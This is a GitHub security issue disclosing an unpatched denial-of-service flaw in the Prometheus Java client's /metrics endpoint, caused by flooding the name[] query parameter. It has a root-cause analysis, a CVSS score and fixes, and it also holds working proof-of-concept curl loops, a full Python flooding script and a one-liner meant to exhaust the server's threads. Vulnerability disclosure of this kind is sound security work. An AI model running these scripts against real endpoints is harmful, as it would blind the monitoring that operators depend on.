Skip to content

# Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java #2285

Description

@manqingzhou

Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java

1. Vulnerability Summary

Field Value
Product prometheus/client_java (Prometheus Java Client Library)
Affected Version 1.8.0 (main branch); all prior versions containing PrometheusHttpRequest with the default getParameterValues() implementation
Component prometheus-metrics-exporter-common, prometheus-metrics-model
Vulnerable Files PrometheusHttpRequest.java (lines 50-73), MetricNameFilter.java (lines 43-55)
CWE CWE-400: Uncontrolled Resource Consumption
CVSS 3.1 Score 7.5 (High)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Repository https://github.com/prometheus/client_java
Discoverer Security Research

2. Vulnerability Description

A denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of name[] query parameters accepted by the /metrics endpoint, combined with an O(n) linear-scan filtering algorithm in MetricNameFilter.

An unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of name[] query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unbounded ArrayList growth), excessive CPU (O(n x m) string comparisons where n is the number of name[] parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.

The vulnerability is present in the default getParameterValues() method of the PrometheusHttpRequest interface, which performs no input validation on the query string. It is amplified by the MetricNameFilter.matchesNameEqualTo() method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.


3. Root Cause Analysis

3.1 Unbounded Query Parameter Parsing (Primary Root Cause)

File: prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java
Lines: 50-73

@Override
@Nullable
@SuppressWarnings("JdkObsolete")
default String[] getParameterValues(String name) {
    try {
      ArrayList<String> result = new ArrayList<>();       // No pre-allocated capacity limit
      String queryString = getQueryString();
      if (queryString != null) {
        String[] pairs = queryString.split("&");          // No limit on split count
        for (String pair : pairs) {
          int idx = pair.indexOf("=");
          if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
            result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8"));  // Unbounded add
          }
        }
      }
      if (result.isEmpty()) {
        return null;
      } else {
        return result.toArray(new String[0]);
      }
    } catch (UnsupportedEncodingException e) {
      throw new RuntimeException(e);
    }
}

Three critical deficiencies:

  1. No query string length limit. The raw query string from getQueryString() is processed regardless of its size. A multi-megabyte query string is accepted without any check.

  2. Unbounded split. queryString.split("&") produces an array with as many elements as there are &-delimited segments. With 100,000 name[] parameters, this creates a 100,000-element String[] array.

  3. Unbounded result collection. The ArrayList<String> result grows without limit. Every matching name[] parameter value is added with result.add(). There is no cap on the number of values collected.

3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)

File: prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java
Lines: 43-55

private boolean matchesNameEqualTo(String metricName) {
    if (nameIsEqualTo.isEmpty()) {
      return true;
    }
    for (String name : nameIsEqualTo) {
      // The following ignores suffixes like _total.
      // "request_count" and "request_count_total" both match a metric named "request_count".
      if (name.startsWith(metricName)) {
        return true;
      }
    }
    return false;
}

The nameIsEqualTo collection is backed by an ArrayList (see constructor, line 29). For each registered metric, matchesNameEqualTo() iterates over every entry in this list, performing a String.startsWith() comparison. The time complexity is O(n) per metric, where n is the number of name[] parameter values.

3.3 O(n x m) Amplification in Registry Scrape

File: prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.java
Lines: 451-509

When scraping with a filter, PrometheusRegistry.scrape(Predicate<String>, PrometheusScrapeRequest) calls includedNames.test(prometheusName) for each registered collector. Each call to test() triggers the O(n) linear scan in MetricNameFilter.matchesNameEqualTo().

With n = 100,000 name[] parameters and m = 1,000 registered metrics, a single HTTP request produces:

  • 100,000,000 (100 million) String.startsWith() comparisons
  • Each comparison involves character-by-character comparison of the metric name prefix

3.4 Thread Pool Exhaustion (Cascading Failure)

File: prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java
Lines: 339-347

private ExecutorService makeExecutorService() {
    if (executorService != null) {
      return executorService;
    } else {
      return new ThreadPoolExecutor(
          1,               // core pool size
          10,              // maximum pool size
          120,             // keep-alive time
          TimeUnit.SECONDS,
          new SynchronousQueue<>(true),
          NamedDaemonThreadFactory.defaultThreadFactory(true),
          new BlockingRejectedExecutionHandler());  // BLOCKS on rejection
    }
}

The default thread pool has a maximum of 10 threads and uses a SynchronousQueue with a BlockingRejectedExecutionHandler that blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:

  1. Occupy all 10 threads with long-running parameter processing
  2. Block any subsequent requests in the BlockingRejectedExecutionHandler.rejectedExecution() method
  3. Cause legitimate Prometheus scrape requests to time out

3.5 Data Flow

Attacker HTTP Request (?name[]=a_0&name[]=a_1&...&name[]=a_99999)
         |
         v
PrometheusHttpRequest.getParameterValues("name[]")
  - queryString.split("&") --> 100,000 element String[]
  - URLDecoder.decode() x 200,000 (key + value per pair)
  - ArrayList grows to 100,000 entries
  - Returns String[100000]
         |
         v
PrometheusScrapeHandler.scrape()
  - MetricNameFilter.builder().nameMustBeEqualTo(String[100000]).build()
  - nameIsEqualTo = ArrayList<String> of size 100,000
         |
         v
PrometheusRegistry.scrape(filter, request)
  - For each of m registered metrics:
    - filter.test(metricName)
      - matchesNameEqualTo() iterates all 100,000 entries
      - String.startsWith() comparison each time
  = Total: 100,000 x m comparisons
         |
         v
Thread blocked for seconds to minutes

4. CVSS 3.1 Detailed Breakdown

Metric Value Justification
Attack Vector (AV) Network (N) The /metrics endpoint is network-accessible. The HTTPServer binds to a network socket by default.
Attack Complexity (AC) Low (L) No special conditions required. The attacker simply sends an HTTP GET request with crafted query parameters.
Privileges Required (PR) None (N) The HTTPServer does not require authentication by default. The Authenticator is optional and null unless configured.
User Interaction (UI) None (N) No user interaction needed. The attacker sends requests directly to the endpoint.
Scope (S) Unchanged (U) Impact is limited to the metrics exporter component. Other application functionality may be indirectly affected only if sharing the same JVM resources.
Confidentiality (C) None (N) No information is disclosed.
Integrity (I) None (N) No data is modified.
Availability (A) High (H) Memory exhaustion, CPU exhaustion, and thread pool starvation cause complete denial of the metrics service. Legitimate Prometheus scrapes are blocked.

CVSS 3.1 Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1 Base Score: 7.5 (High)


5. Proof of Concept

5.1 Prerequisites

  • A Java application using prometheus-metrics-exporter-httpserver with the built-in HTTPServer
  • The application has at least one registered metric (typical production applications have hundreds or thousands)
  • Network access to the metrics HTTP port (default: 9400 or user-configured)

5.2 Minimal Vulnerable Application

import io.prometheus.metrics.core.metrics.Counter;
import io.prometheus.metrics.core.metrics.Histogram;
import io.prometheus.metrics.exporter.httpserver.HTTPServer;

public class VulnerableMetricsApp {
    public static void main(String[] args) throws Exception {
        // Register some metrics (typical applications have hundreds)
        for (int i = 0; i < 1000; i++) {
            Counter.builder()
                .name("app_counter_" + i)
                .help("Counter " + i)
                .register();
        }

        HTTPServer server = HTTPServer.builder()
            .port(9400)
            .buildAndStart();

        System.out.println("Metrics server started on port " + server.getPort());
        Thread.currentThread().join();
    }
}

5.3 Reproduction Steps

Step 1: Basic parameter flooding -- single request.

# Generate a URL with 100,000 name[] parameters
PARAMS=$(python3 -c "print('&'.join(['name[]=metric_' + str(i) for i in range(100000)]))")

# Send a single flooding request (this alone causes significant CPU/memory usage)
time curl -s -o /dev/null -w "%{http_code}" "http://target:9400/metrics?${PARAMS}"

Expected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.

Step 2: Thread pool exhaustion -- 10 concurrent connections.

# Saturate all 10 threads in the default pool
for i in $(seq 1 10); do
  curl -s -o /dev/null "http://target:9400/metrics?${PARAMS}" &
done

# Wait a moment, then attempt a legitimate scrape
sleep 2
time curl -s -o /dev/null -w "%{http_code}" "http://target:9400/metrics"
# This request will hang indefinitely (blocked in BlockingRejectedExecutionHandler)

Expected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the BlockingRejectedExecutionHandler blocks the caller rather than rejecting.

Step 3: Verify Prometheus scrape disruption.

While the flooding requests are in progress, a Prometheus server configured to scrape this target will report:

level=warn msg="Error on ingesting samples that are too old or are too far into the future"
level=error msg="Scrape failed" target="http://target:9400/metrics" err="context deadline exceeded"

5.4 Full PoC Script

#!/usr/bin/env python3
"""
PoC: Denial of Service via Unbounded name[] Query Parameter Flooding
Target: prometheus/client_java HTTPServer metrics endpoint

Demonstrates three attack vectors:
  1. Memory exhaustion via large ArrayList allocation
  2. CPU exhaustion via O(n*m) linear scan in MetricNameFilter
  3. Thread pool starvation with 10 concurrent flooding requests

Usage:
  python3 dos_name_param_flooding.py --target http://localhost:9400 --count 100000
"""

import argparse
import concurrent.futures
import sys
import time
import urllib.request
import urllib.error


def build_flooding_url(base_url, param_count):
    """Build a URL with param_count name[] query parameters."""
    params = "&".join(f"name[]=metric_{i}" for i in range(param_count))
    return f"{base_url}/metrics?{params}"


def send_flooding_request(url, request_id):
    """Send a single flooding request and measure duration."""
    start = time.monotonic()
    try:
        req = urllib.request.Request(url, method="GET")
        with urllib.request.urlopen(req, timeout=300) as resp:
            _ = resp.read()
            elapsed = time.monotonic() - start
            return request_id, resp.status, elapsed, None
    except urllib.error.URLError as e:
        elapsed = time.monotonic() - start
        return request_id, None, elapsed, str(e)
    except Exception as e:
        elapsed = time.monotonic() - start
        return request_id, None, elapsed, str(e)


def send_legitimate_scrape(base_url, timeout=10):
    """Send a normal /metrics scrape and measure response time."""
    url = f"{base_url}/metrics"
    start = time.monotonic()
    try:
        req = urllib.request.Request(url, method="GET")
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            _ = resp.read()
            elapsed = time.monotonic() - start
            return resp.status, elapsed, None
    except Exception as e:
        elapsed = time.monotonic() - start
        return None, elapsed, str(e)


def main():
    parser = argparse.ArgumentParser(
        description="PoC: DoS via name[] parameter flooding against prometheus/client_java"
    )
    parser.add_argument(
        "--target",
        default="http://localhost:9400",
        help="Base URL of the Prometheus metrics endpoint (default: http://localhost:9400)",
    )
    parser.add_argument(
        "--count",
        type=int,
        default=100000,
        help="Number of name[] parameters per request (default: 100000)",
    )
    parser.add_argument(
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent flooding requests (default: 10, matching default pool size)",
    )
    args = parser.parse_args()

    print("=" * 72)
    print("PoC: Denial of Service via Unbounded name[] Query Parameter Flooding")
    print(f"Target: {args.target}")
    print(f"Parameters per request: {args.count:,}")
    print(f"Concurrent flooding threads: {args.threads}")
    print("=" * 72)

    # Phase 1: Baseline -- measure normal scrape time
    print("\n[Phase 1] Baseline: Measuring normal scrape response time...")
    status, elapsed, error = send_legitimate_scrape(args.target, timeout=30)
    if error:
        print(f"  ERROR: Could not reach target: {error}")
        print("  Ensure the target application is running and accessible.")
        sys.exit(1)
    print(f"  Normal scrape: status={status}, time={elapsed:.3f}s")
    baseline_time = elapsed

    # Phase 2: Single flooding request -- measure CPU/memory impact
    print(f"\n[Phase 2] Single flooding request with {args.count:,} name[] parameters...")
    flooding_url = build_flooding_url(args.target, args.count)
    print(f"  URL length: {len(flooding_url):,} bytes")
    print(f"  Estimated server-side ArrayList size: {args.count:,} entries")
    print(f"  Sending request...")

    _, status, elapsed, error = send_flooding_request(flooding_url, 0)
    if error:
        print(f"  Request failed after {elapsed:.3f}s: {error}")
    else:
        print(f"  Response: status={status}, time={elapsed:.3f}s")
    print(f"  Slowdown factor vs baseline: {elapsed / max(baseline_time, 0.001):.1f}x")

    # Phase 3: Thread pool exhaustion -- concurrent flooding
    print(f"\n[Phase 3] Thread pool exhaustion: {args.threads} concurrent flooding requests...")
    print(f"  Default HTTPServer pool size: 10 threads (max)")
    print(f"  Sending {args.threads} concurrent requests to saturate the pool...")

    futures = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
        # Launch flooding requests
        flood_start = time.monotonic()
        for i in range(args.threads):
            futures.append(executor.submit(send_flooding_request, flooding_url, i))

        # Wait briefly for flooding requests to engage server threads
        time.sleep(2)

        # Attempt a legitimate scrape while flooding is in progress
        print(f"\n[Phase 4] Attempting legitimate scrape during flooding attack...")
        scrape_future = executor.submit(send_legitimate_scrape, args.target, 15)

        try:
            status, elapsed, error = scrape_future.result(timeout=20)
            if error:
                print(f"  CONFIRMED: Legitimate scrape FAILED: {error}")
                print(f"  Time waited: {elapsed:.3f}s")
                print(f"  The metrics endpoint is unresponsive -- DoS achieved.")
            elif elapsed > baseline_time * 10:
                print(f"  DEGRADED: Legitimate scrape succeeded but took {elapsed:.3f}s")
                print(f"  Slowdown: {elapsed / max(baseline_time, 0.001):.1f}x vs baseline")
                print(f"  Prometheus scrape_timeout (default 10s) would be exceeded.")
            else:
                print(f"  Legitimate scrape succeeded: status={status}, time={elapsed:.3f}s")
        except concurrent.futures.TimeoutError:
            print(f"  CONFIRMED: Legitimate scrape TIMED OUT after 20s")
            print(f"  All server threads are blocked -- complete DoS achieved.")

        # Collect flooding results
        print(f"\n[Phase 5] Flooding request results:")
        for future in concurrent.futures.as_completed(futures, timeout=300):
            req_id, status, elapsed, error = future.result()
            if error:
                print(f"  Request {req_id}: FAILED after {elapsed:.3f}s -- {error}")
            else:
                print(f"  Request {req_id}: status={status}, time={elapsed:.3f}s")

    # Summary
    print("\n" + "=" * 72)
    print("SUMMARY")
    print("=" * 72)
    print(f"  Attack parameters:")
    print(f"    name[] count per request: {args.count:,}")
    print(f"    Concurrent connections:   {args.threads}")
    print(f"    URL size per request:     {len(flooding_url):,} bytes")
    print(f"  Resource consumption per request (server-side):")
    print(f"    ArrayList entries:        {args.count:,}")
    print(f"    String.split() elements:  {args.count:,}")
    print(f"    URLDecoder.decode() calls: {args.count * 2:,}")
    print(f"  With 1,000 registered metrics:")
    print(f"    String.startsWith() comparisons: {args.count * 1000:,}")
    print(f"  Thread pool capacity:       10 (default)")
    print(f"  Threads occupied by attack: {args.threads}")
    print(f"  Threads remaining for legitimate scrapes: {max(0, 10 - args.threads)}")


if __name__ == "__main__":
    main()

5.5 Bash One-Liner for Quick Verification

# Quick DoS verification -- generate 50,000 parameters and observe response time
python3 -c "print('&'.join(['name[]=m_'+str(i) for i in range(50000)]))" | \
  xargs -I{} time curl -s -o /dev/null -w "HTTP %{http_code}\n" "http://localhost:9400/metrics?{}"

6. Impact Analysis

6.1 Memory Exhaustion

Each flooding request causes the following allocations on the server:

Allocation Size with 100K parameters
queryString.split("&") array 100,000 String references
URLDecoder.decode() results 200,000 decoded String objects (key + value per pair)
ArrayList<String> result 100,000 entries + dynamic resizing overhead
result.toArray(new String[0]) 100,000-element String[] copy
MetricNameFilter.nameIsEqualTo 100,000-element ArrayList copy

With average parameter values of 20 characters, a single request allocates approximately:

  • 100,000 x (40 bytes object header + 20 chars x 2 bytes) = ~8 MB for the split array values
  • 100,000 x 80 bytes = ~8 MB for the decoded key strings
  • 100,000 x 80 bytes = ~8 MB for the decoded value strings
  • Multiple ArrayList copies and array conversions

Total per request: approximately 30-50 MB of heap allocation. With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or OutOfMemoryError in constrained environments.

6.2 CPU Exhaustion

The MetricNameFilter.matchesNameEqualTo() method performs a linear scan:

Time complexity per metric: O(n)     where n = number of name[] parameters
Time complexity per scrape: O(n * m) where m = number of registered metrics
name[] count (n) Registered metrics (m) String.startsWith() calls Estimated time
1,000 100 100,000 ~10 ms
10,000 100 1,000,000 ~100 ms
100,000 100 10,000,000 ~1-2 s
100,000 1,000 100,000,000 ~10-30 s
100,000 10,000 1,000,000,000 ~minutes

6.3 Thread Pool Starvation

The default HTTPServer thread pool configuration is:

new ThreadPoolExecutor(
    1,      // corePoolSize
    10,     // maximumPoolSize
    120,    // keepAliveTime
    TimeUnit.SECONDS,
    new SynchronousQueue<>(true),
    NamedDaemonThreadFactory.defaultThreadFactory(true),
    new BlockingRejectedExecutionHandler()  // Blocks on rejection
);

Key characteristics:

  • Maximum 10 threads. The pool cannot grow beyond 10 worker threads.
  • SynchronousQueue. This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.
  • BlockingRejectedExecutionHandler. When all 10 threads are busy, instead of rejecting the request, this handler blocks the caller by calling threadPoolExecutor.getQueue().put(runnable), which blocks indefinitely on the SynchronousQueue until a thread becomes available.

This means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.

6.4 Unauthenticated Access

The HTTPServer does not require authentication by default. The Authenticator is an optional builder parameter that defaults to null:

@Nullable private Authenticator authenticator = null;

Most deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.

6.5 Impact on Monitoring Infrastructure

When the metrics endpoint becomes unresponsive:

  1. Prometheus scrape failures. Prometheus records up{job="target"} = 0, triggering alerts for target health.
  2. Monitoring blind spot. No metrics are collected during the attack, creating gaps in dashboards and alerting.
  3. Cascading alerts. Alert rules that depend on metrics from the affected target may fire spuriously or fail to fire for genuine issues.
  4. SLA violations. If metrics availability is part of service-level objectives, the DoS directly impacts SLA compliance.

7. Affected Modules and Scope

Directly Affected

Module File Role
prometheus-metrics-exporter-common PrometheusHttpRequest.java Unbounded query parameter parsing (default getParameterValues() method)
prometheus-metrics-model MetricNameFilter.java O(n) linear scan over nameIsEqualTo collection
prometheus-metrics-exporter-httpserver HTTPServer.java Limited 10-thread pool with blocking rejection handler

Indirectly Affected

Module Reason
prometheus-metrics-exporter-servlet-jakarta Uses servlet container's getParameterValues() instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits.
prometheus-metrics-exporter-servlet-javax Same as above.

The vulnerability is most severe with the standalone HTTPServer because of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.


8. Remediation

8.1 Input Validation in PrometheusHttpRequest.getParameterValues()

Add maximum limits on the number of query parameters and total query string length.

default String[] getParameterValues(String name) {
    try {
      String queryString = getQueryString();
      if (queryString == null) {
        return null;
      }

      // Limit 1: Maximum query string length (64 KB)
      if (queryString.length() > 65536) {
        throw new IllegalArgumentException(
            "Query string too long: " + queryString.length() + " bytes (max 65536)");
      }

      ArrayList<String> result = new ArrayList<>();
      String[] pairs = queryString.split("&");

      // Limit 2: Maximum number of parameters
      if (pairs.length > 1024) {
        throw new IllegalArgumentException(
            "Too many query parameters: " + pairs.length + " (max 1024)");
      }

      for (String pair : pairs) {
        int idx = pair.indexOf("=");
        if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
          result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8"));
        }
      }

      if (result.isEmpty()) {
        return null;
      } else {
        return result.toArray(new String[0]);
      }
    } catch (UnsupportedEncodingException e) {
      throw new RuntimeException(e);
    }
}

The IllegalArgumentException should be caught in PrometheusScrapeHandler.handleRequest() and translated to an HTTP 400 (Bad Request) response.

8.2 Use HashSet for O(1) Lookups in MetricNameFilter

Replace the ArrayList-backed linear scan with a HashSet for exact equality checks, reducing per-metric lookup cost from O(n) to O(1).

// Before (O(n) per metric):
private boolean matchesNameEqualTo(String metricName) {
    if (nameIsEqualTo.isEmpty()) {
      return true;
    }
    for (String name : nameIsEqualTo) {
      if (name.startsWith(metricName)) {
        return true;
      }
    }
    return false;
}

// After (O(1) average for exact matches, O(n) worst case for prefix matching):
// Use a HashSet for the common exact-match case, with a fallback for prefix matching.

Note: The current implementation uses name.startsWith(metricName) (checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching both request_count and request_count_total). This complicates a pure HashSet replacement but can be optimized with a trie or by normalizing metric names.

8.3 Return HTTP 400 for Excessive Parameters

In PrometheusScrapeHandler.handleRequest(), catch validation exceptions from parameter parsing and return HTTP 400:

public void handleRequest(PrometheusHttpExchange exchange) throws IOException {
    try {
      PrometheusHttpRequest request = exchange.getRequest();
      MetricSnapshots snapshots = scrape(request);
      // ... normal processing
    } catch (IllegalArgumentException e) {
      // Input validation failure (e.g., too many name[] parameters)
      PrometheusHttpResponse response = exchange.getResponse();
      byte[] message = e.getMessage().getBytes(StandardCharsets.UTF_8);
      response.setHeader("Content-Type", "text/plain; charset=utf-8");
      try (OutputStream out = response.sendHeadersAndGetBody(400, message.length)) {
        out.write(message);
      }
    } catch (IOException e) {
      exchange.handleException(e);
    } catch (RuntimeException e) {
      exchange.handleException(e);
    } finally {
      exchange.close();
    }
}

8.4 Defense in Depth: Request Timeout

Configure sun.net.httpserver.maxReqTime to a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set in HTTPServer.java line 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.

8.5 Workaround

There is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:

  • Reverse proxy with query string length limits. Place nginx, HAProxy, or a similar reverse proxy in front of the metrics endpoint, configured to reject requests with excessively long query strings or too many parameters.
  • Network-level access control. Restrict access to the metrics port to only the Prometheus server's IP address using firewall rules or network policies.
  • Custom ExecutorService. Use the HTTPServer.Builder.executorService() method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).

9. References

  1. CWE-400: Uncontrolled Resource Consumption: https://cwe.mitre.org/data/definitions/400.html

  2. Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java

  3. Vulnerable Source Files:

    • prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java (lines 50-73)
    • prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java (lines 43-55)
    • prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java (lines 339-347)
  4. OWASP: Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service

  5. Java API: ThreadPoolExecutor: https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html

  6. Prometheus Scrape Configuration -- params field: https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config


Reported by: Security Research Team
Date: 2026-06-24
Severity: High (CVSS 7.5)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Status: Unpatched (as of version 1.8.0)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions